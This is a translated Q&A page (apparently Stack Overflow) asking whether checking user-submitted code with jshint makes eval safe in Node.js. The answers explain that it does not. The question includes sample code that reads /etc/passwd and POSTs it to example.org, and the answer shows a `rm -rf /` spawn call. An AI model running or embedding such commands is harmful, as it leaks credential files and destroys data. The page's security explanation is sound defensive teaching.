如果在eval之前使用(例如)jshint检查代码,javascript eval是否仍然危险?

如果在eval之前使用(例如)jshint检查代码,javascript eval是否仍然危险?,javascript,node.js,eval,jshint,javascript-injection,Javascript,Node.js,Eval,Jshint,Javascript Injection,例如,假设(授权的)用户被允许向nodejs服务器提交自定义格式化程序,而nodejs服务器将具有类似的代码 var JSHINT = require('jshint').JSHINT; function formatterFactory(code) { // we could pass more options to jshint... JSHINT(code, {undef:true},['input','output']); if (JSHINT.data().erro

例如,假设(授权的)用户被允许向nodejs服务器提交自定义格式化程序,而nodejs服务器将具有类似的代码

var JSHINT = require('jshint').JSHINT;

function formatterFactory(code) {
   // we could pass more options to jshint...
   JSHINT(code, {undef:true},['input','output']);
   if (JSHINT.data().errors) {
      // throw error...
      console.dir(JSHINT.errors);
      throw new Error(JSHINT.data().errors[0].reason);
   }
   // otherwhise eval
   return function(input) {
     var output;
     eval(code);
     return output;
   }
}

var userNastyCode = '                   \
  var http = require("http");           \
  var fs = require("fs");               \
  http.request({                        \
    method: "POST",                     \
    host: "example.org",                \
    path: "/muahaha"                    \
  }, function(res) {                    \
    res.resume();                       \
  }).end(fs.readFileSync("/etc/passwd"));';

var userFormatter = formatterFactory(userNastyCode);

userFormatter('some thing');

// throws error 'require' is not defined.

用户提供的文本对于
eval
来说永远都不安全,或者至少应该被认为永远都不安全,因为您在证明安全性方面所付出的努力远远超过了以不同方式完成所需的努力

JSHint关注代码语法和(可能有些主观的)质量度量,恶意代码完全能够满足这两方面的要求。例如,这是一段可爱的代码,如果让我在您的服务器上运行,可能会造成很大的损害:

require('child_process').spawn('rm', ['-rf', '/']);
JSHint不会对此抱怨,如果您有一个自定义配置,我可以修改我的代码来传递,或者如注释中所述,只包含我自己的配置,让JSHint安静下来。您应该记住的是,如果让我将代码交给您运行,我可以做任何您可以做的事情。这比让我直接编辑你的文件要难一些,但是你没有真正的方法阻止我做你不想做的事情

在这种情况下,我会考虑以下几点:

  • 您真的需要用户编写完全任意的格式化程序吗?也许你可以给他们一些已知的选择
  • 您知道要格式化的数据是什么(数字、日期等)?您可以安全地让他们选择应用于数据类型的任意格式,如
    yyyy-mm-dd
    ,而不让他们选择自己的JS,并且可以将格式字符串传递给许多库
  • 你能在他们的浏览器中运行他们的代码吗?他们已经可以在开发人员控制台中运行他们想要的任何JS,所以如果您可以将其设置为使他们的格式化程序在类似的上下文中运行,那么您就没有打开任何漏洞。(我从来没有试过这个;它仍然让人感觉很危险。)

无论你最终得到什么,我都会在你自己的代码中禁用JSHint的选项:)

是的,它仍然很危险。jshint只适用于代码样式检查。@redben无限循环用于初学者。访问本地和全局变量(包括
require()
)…您的问题表明您不了解JSHint的用途,以及为什么使用
eval
会产生安全问题。这两件事完全无关。您不能使用JSHint使用户提供的输入对
eval
安全,并且您不需要从安全角度担心
eval
,除非您允许一个用户
eval
使用不同的用户输入,或者您正在运行用户输入的代码服务器端。@除了用户提供的输入可能还包括注释以抑制任何和所有JSHint警告之外,其他都是错误的。JSHint与验证用户输入完全无关,而且它不能用于验证用户输入。我不明白为什么会有这么多的投票者。OP不太了解什么会影响
eval()
安全(因此他们提出了一个问题),但问题很清楚,很容易回答。我看这个问题没什么问题。最后我给出了答案,谢谢!实际上,formatter只是一个非常接近的示例(1输入1输出)。我自己从未使用过eval,但在我当前的项目/功能中,它确实会让事情变得简单。我正在用jshint做一些测试(正如我所要求的),并禁用了一些其他功能(循环关键字@mscdex和函数声明)。但我必须承认,它开始看起来像是核武器,我想我最好选择一些简单的DSL。DSL听起来是个不错的主意。我通常认为这是你想要白名单还是黑名单。一个
safe\u eval
黑名单几乎是不可能的,在黑名单中,只实现您需要的DSL应该很容易推理。